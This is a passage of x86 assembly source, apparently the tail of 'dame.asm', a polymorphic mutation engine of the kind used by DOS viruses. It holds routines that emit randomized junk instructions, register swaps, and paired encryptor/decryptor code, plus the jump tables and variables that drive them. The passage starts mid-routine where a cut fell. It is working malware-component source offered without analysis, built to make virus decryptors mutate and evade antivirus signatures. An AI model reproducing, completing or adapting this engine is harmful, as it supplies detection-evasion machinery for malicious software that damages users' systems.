mov _nest,MAXNEST
mov _decryptpointer,di
mov di,_encryptpointer
ret
playencrypt:
mov di,_decryptpointer
call twogarble
mov al,_encrypt_reg
and ax,7
cmp al,4 ; is there an encryption register?
jz swap_decrypt_encrypt
call get_rand_bx ; 3/4 chance of doing something
cmp bl,0c0
ja swap_decrypt_encrypt
call _playencrypt
call handle_jmp_table_nogarble
finish_encryption:
call swap_decrypt_encrypt
push cx
and cl,not 3
call [bx+si+1]
pop cx
mov _encryptpointer,di
ret
_playencrypt:
mov _nest,0
call one_in_two
js get_used_register
call get_rand_bx
mov si,offset oneregtable
jmp short continue_playencrypt
get_used_register:
call get_rand_bx
and bx,7
cmp bl,_sp
jz get_used_register
cmp byte ptr [bx+_used_regs],0
jz get_used_register
mov si,offset tworegtable
continue_playencrypt:
xchg dx,bx
ret
encryption:
mov di,_decryptpointer
call twogarble
mov al,_pointer_reg
and ax,7
mov bx,offset reg_xlat_table-3
xlat
mov bp,offset _decrypt_relocate_num
call _playencrypt
call go_next
call handle_jmp_table_nogarble
mov bp,offset _encrypt_relocate_num
call go_next
jmp short finish_encryption
go_next:
push ax
lodsb
cbw
add si,ax
pop ax
inc si
inc si
ret
clear_used_regs:
xor ax,ax
mov di,offset _used_regs
stosw
stosw
inc ax
stosw
dec ax
stosw
ret
get_another:
call get_rand
and ax,7
mov si,ax
cmp [si+_used_regs],0
jnz get_another
inc [si+_used_regs]
ret
clear_reg_dx:
xchg ax,dx
clear_reg:
mov si,ax
mov byte ptr [si+_used_regs],0
ret
free_regs: ; check for free registers
; zero flag if OK
push ax
push cx
push di
mov di,offset _used_regs
mov cx,8
xor ax,ax
repne scasb
pop di
pop cx
pop ax
ret
one_in_two:
push ax
call get_rand
or ax,ax
pop ax
ret
get_rand_bx:
xchg ax,bx
call get_rand
xchg ax,bx
return:
ret
fourgarble:
call twogarble
twogarble:
mov _nest,0
call garble
garble: ; ax, dx preserved
call free_regs
jne return
test cl,2
jz return
push ax
push dx
call get_rand ; random # to dx
xchg ax,dx
call get_another ; random reg in al
call clear_reg ; don't mark as used
mov si,offset garbletable
jmp short handle_jmp_table_nopush_ax_dx
handle_jmp_table: ; ax,dx preserved
push si
call garble
pop si
handle_jmp_table_nogarble:
push ax
push dx
handle_jmp_table_nopush_ax_dx:
push si
push cx
xchg ax,cx
lodsb ; get mask value
cbw
xchg ax,cx
call get_rand_bx
and bx,cx
pop cx
inc _nest
cmp _nest,MAXNEST
jb not_max_nest
xor bx,bx
not_max_nest:
push bx
call [bx+si]
pop bx
pop si
pop dx
pop ax
ret
garble_tworeg:
mov si,offset tworegtable
and dx,7
jmp short handle_jmp_table_nogarble
garble_onereg:
mov si,offset oneregtable
jmp short handle_jmp_table_nogarble
garble_onebyte:
xchg ax,dx
and al,7
mov bx,offset onebytetable
xlat
stosb
ret
garble_jmpcond:
xchg ax,dx
and ax,0f
or al,70
stosw
ret
_push:
or al,al
js _push_mem
add al,50
stosb
ret
_push_mem:
add ax,0ff30
jmp short go_mod_xxx_rm1
_pop:
or al,al
js _pop_mem
add al,58
stosb
ret
_pop_mem:
mov ah,8f
go_mod_xxx_rm1:
jmp mod_xxx_rm
mov_reg_xxxx:
mov si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
jmp short handle_jmp_table
_mov_reg_xxxx_mov_add:
call get_rand_bx
push bx
sub dx,bx
call mov_reg_xxxx
pop dx
jmp short go_add_reg_xxxx
_mov_reg_xxxx_mov_al_ah:
cmp al,_sp
jae _mov_reg_xxxx
push ax
push dx
call _mov_al_xx
pop dx
pop ax
xchg dh,dl
jmp short _mov_ah_xx
_mov_reg_xxxx_mov_xor:
call get_rand_bx
push bx
xor dx,bx
call mov_reg_xxxx
pop dx
jmp xor_reg_xxxx
_mov_reg_xxxx_xor_add:
push dx
mov dx,ax
call xor_reg_reg
pop dx
go_add_reg_xxxx:
jmp add_reg_xxxx
_mov_reg_xxxx_mov_rol:
ror dx,1
call mov_reg_xxxx
jmp short _rol
_mov_reg_xxxx_mov_ror:
rol dx,1
call mov_reg_xxxx
_ror:
or al,8
_rol:
mov ah,0d1
jmp mod_xxx_rm
_mov_reg_xxxx:
add al,0B8
stosb
xchg ax,dx
stosw
ret
mov_ah_xx:
_mov_ah_xx:
add al,04
mov_al_xx:
_mov_al_xx:
add al,0B0
mov ah,dl
stosw
ret
mov_reg_reg:
mov si,offset mov_reg_reg_table
jmp short go_handle_jmp_table1
_mov_reg_reg_push_pop:
push ax
xchg dx,ax ; al = reg2
call _push ; push reg2
pop ax ; al = reg1
jmp _pop ; pop reg1
_mov_reg_reg:
mov ah,08Bh
jmp short _mod_reg_rm_direction
mov_xchg_reg_reg:
call one_in_two
js mov_reg_reg
xchg_reg_reg:
mov si,offset xchg_reg_reg_table
jmp handle_jmp_table
_xchg_reg_reg_push_pop:
push dx ; save reg2
push ax ; save reg1
push dx
call _push ; push reg1
pop ax
call _push ; push reg2
pop ax
call _pop ; pop reg1
pop ax
jmp _pop ; pop reg2
_xchg_reg_reg_3rd_reg:
call free_regs
jne _xchg_reg_reg
push dx ; save reg2
push ax ; save reg1
call get_another
call mov_xchg_reg_reg ; mov/xchg reg3, reg2
pop dx ; get reg1
call xchg_reg_reg ; xchg reg3, reg1
pop dx ; get reg2
xchg ax,dx ; ax=reg2, dx=reg3
call mov_xchg_reg_reg ; mov/xchg reg2, reg3
jmp clear_reg_dx
_xchg_reg_reg:
or al,al
js __xchg_reg_reg
cmp al,dl
jg _xchg_reg_reg_skip
xchg al,dl
_xchg_reg_reg_skip:
or dl,dl
jz _xchg_ax_reg
__xchg_reg_reg:
xchg al,dl
mov ah,87
jmp short _mod_reg_rm
_xchg_ax_reg:
add al,90
stosb
ret
xor_reg_xxxx_xor_xor:
call get_rand_bx
push bx
xor dx,bx
call xor_reg_xxxx
pop dx
jmp short xor_reg_xxxx
xor_reg_xxxx:
mov si,offset xor_reg_xxxx_table
jmp handle_jmp_table
_xor_reg_xxxx:
or al,030
jmp _81h_
xor_reg_reg:
mov si,offset xor_reg_reg_table
jmp handle_jmp_table
_xor_reg_reg:
mov ah,33
_mod_reg_rm_direction:
or al,al
js dodirection
or dl,dl
js _mod_reg_rm
call one_in_two
js _mod_reg_rm
dodirection:
xchg al,dl
sub ah,2
_mod_reg_rm:
shl al,1
shl al,1
shl al,1
or al,dl
mod_xxx_rm:
or al,al
js no_no_reg
or al,0c0
no_no_reg:
xchg ah,al
test ah,40
jnz exit_mod_reg_rm
test cl,1
jnz continue_mod_xxx_rm
push ax
mov al,2e
stosb
pop ax
continue_mod_xxx_rm:
stosw
mov si,cs:[bp] ; need cs: overrides on bp
add si,si
mov cs:[si+bp+2],di
inc word ptr cs:[bp]
mov al,_relocate_amt
cbw
exit_mod_reg_rm:
stosw
ret
add_reg_reg:
mov si,offset add_reg_reg_table
jmp handle_jmp_table
_add_reg_reg:
mov ah,3
jmp short _mod_reg_rm_direction
sub_reg_reg:
mov si,offset sub_reg_reg_table
jmp handle_jmp_table
_sub_reg_reg:
mov ah,2bh
jmp short _mod_reg_rm_direction
_add_reg_xxxx_inc_add:
call inc_reg
dec dx
jmp short add_reg_xxxx
_add_reg_xxxx_dec_add:
call dec_reg
inc dx
jmp short add_reg_xxxx
_add_reg_xxxx_add_add:
call get_rand_bx
push bx
sub dx,bx
call add_reg_xxxx
pop dx
jmp short add_reg_xxxx
add_reg_xxxx1:
neg dx
add_reg_xxxx:
or dx,dx
jnz cont
return1:
ret
cont:
mov si,offset add_reg_xxxx_table
jmp handle_jmp_table
_add_reg_xxxx:
or al,al
jz _add_ax_xxxx
_81h_:
or al,al
js __81h
add al,0c0
__81h:
mov ah,81
call mod_xxx_rm
_encode_dx_:
xchg ax,dx
stosw
ret
_add_ax_xxxx:
mov al,5
_encode_al_dx_:
stosb
jmp short _encode_dx_
sub_reg_xxxx1:
neg dx
sub_reg_xxxx:
_sub_reg_xxxx:
or dx,dx
jz return1
or al,al
jz _sub_ax_xxxx
add al,028
jmp short _81h_
_sub_ax_xxxx:
mov al,2dh
jmp short _encode_al_dx_
dec_reg:
push ax
add al,8
jmp short _dec_inc_reg
inc_reg:
push ax
_dec_inc_reg:
or al,al
jns _norm_inc
mov ah,0ff
call mod_xxx_rm
pop ax
ret
_norm_inc:
add al,40
stosb
pop ax
ret
_mov_reg_reg_3rd_reg:
mov bx,offset mov_reg_reg
mov si,offset mov_xchg_reg_reg
jmp short reg_to_reg
xor_reg_reg_reg_reg:
mov bx,offset _xor_reg_reg
jmp short reg_to_reg1
add_reg_reg_reg_reg:
mov bx,offset _add_reg_reg
jmp short reg_to_reg1
sub_reg_reg_reg_reg:
mov bx,offset _sub_reg_reg
reg_to_reg1:
mov si,bx
reg_to_reg:
call free_regs
jne no_free_regs
push ax
push si
call get_another
call mov_reg_reg ; mov reg3, reg2
pop si
pop dx ; ax=reg3, dx=reg1
xchg ax,dx ; ax=reg1, dx=reg3
push dx
call si
pop dx
go_clear_reg_dx:
jmp clear_reg_dx
_xor_reg_xxxx_reg_reg:
mov bx,offset xor_reg_xxxx
mov si,offset xor_reg_reg
xxxx_to_reg:
call free_regs
jne no_free_regs
push ax
push si
call get_another
call mov_reg_xxxx
xchg ax,dx
pop si
pop ax
push dx
call si
pop dx
jmp short go_clear_reg_dx
no_free_regs:
jmp bx
_add_reg_xxxx_reg_reg:
mov bx,offset add_reg_xxxx
mov si,offset add_reg_reg
jmp short xxxx_to_reg
_mov_reg_xxxx_reg_reg:
mov bx,offset mov_reg_xxxx
mov si,offset mov_xchg_reg_reg
jmp short xxxx_to_reg
garbletable:
db garbletableend - $ - 3
dw offset return
dw offset return
dw offset garble_tworeg
dw offset garble_tworeg
dw offset garble_onereg
dw offset garble_onereg
dw offset garble_onebyte
dw offset garble_jmpcond
garbletableend:
onebytetable:
clc
cmc
stc
cld
std
sti
int 3
lock
oneregtable:
db oneregtableend - $ - 3
dw offset xor_reg_xxxx
dw offset mov_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtableend:
oneregtable1:
db oneregtable1end - $ - 3
dw offset xor_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtable1end:
oneregtable2:
db oneregtable2end - $ - 3
dw offset xor_reg_xxxx
dw offset add_reg_xxxx
dw offset sub_reg_xxxx
dw offset sub_reg_xxxx
dw offset inc_reg
dw offset dec_reg
dw offset _rol
dw offset _ror
oneregtable2end:
tworegtable:
db tworegtableend - $ - 3
dw offset xor_reg_reg
dw offset mov_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtableend:
tworegtable1:
db tworegtable1end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtable1end:
tworegtable2:
db tworegtable2end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset add_reg_reg
dw offset sub_reg_reg
tworegtable2end:
mov_reg_xxxx_table:
db mov_reg_xxxx_table_end - $ - 3
dw offset _mov_reg_xxxx
dw offset _mov_reg_xxxx_reg_reg
dw offset _mov_reg_xxxx_mov_add
dw offset _mov_reg_xxxx_mov_al_ah
dw offset _mov_reg_xxxx_mov_xor
dw offset _mov_reg_xxxx_xor_add
dw offset _mov_reg_xxxx_mov_rol
dw offset _mov_reg_xxxx_mov_ror
mov_reg_xxxx_table_end:
mov_reg_reg_table:
db mov_reg_reg_table_end - $ - 3
dw offset _mov_reg_reg
dw offset _mov_reg_reg
dw offset _mov_reg_reg_3rd_reg
dw offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:
xchg_reg_reg_table:
db xchg_reg_reg_table_end - $ - 3
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg_push_pop
dw offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:
xor_reg_xxxx_table:
db xor_reg_xxxx_table_end - $ - 3
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx_reg_reg
dw offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:
xor_reg_reg_table:
db xor_reg_reg_table_end - $ - 3
dw offset _xor_reg_reg
dw offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:
add_reg_reg_table:
db add_reg_reg_table_end - $ - 3
dw offset _add_reg_reg
dw offset add_reg_reg_reg_reg
add_reg_reg_table_end:
sub_reg_reg_table:
db sub_reg_reg_table_end - $ - 3
dw offset _sub_reg_reg
dw offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:
add_reg_xxxx_table:
db add_reg_xxxx_table_end - $ - 3
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx_reg_reg
dw offset sub_reg_xxxx1
dw offset _add_reg_xxxx_inc_add
dw offset _add_reg_xxxx_dec_add
dw offset _add_reg_xxxx_add_add
dw offset _add_reg_xxxx_add_add
add_reg_xxxx_table_end:
endif
if vars eq 0
else
_nest db ? ; needed to prevent infinite recursion
_relocate_amt db ?
_loopstartencrypt dw ?
_loopstartdecrypt dw ?
_encryptpointer dw ?
_decryptpointer dw ?
_decryptpointer2 dw ?
_start_encrypt dw ?
_start_decrypt dw ?
_used_regs db 8 dup (?) ; 0 = unused
beginclear1:
_encrypt_relocate_num dw ?
_encrypt_relocator dw 8 dup (?)
_decrypt_relocate_num dw ?
_decrypt_relocator dw 10 dup (?)
endclear1:
_encrypt_length dw ? ; based upon alignment
_counter_value dw ? ; _counter_reg
_pointer_value dw ?
_decrypt_value dw ?
_dummy_reg db ?
_counter_reg db ?
_pointer_reg db ? ; 4 = not in use
_encrypt_reg db ?
endif
-end dame.asm---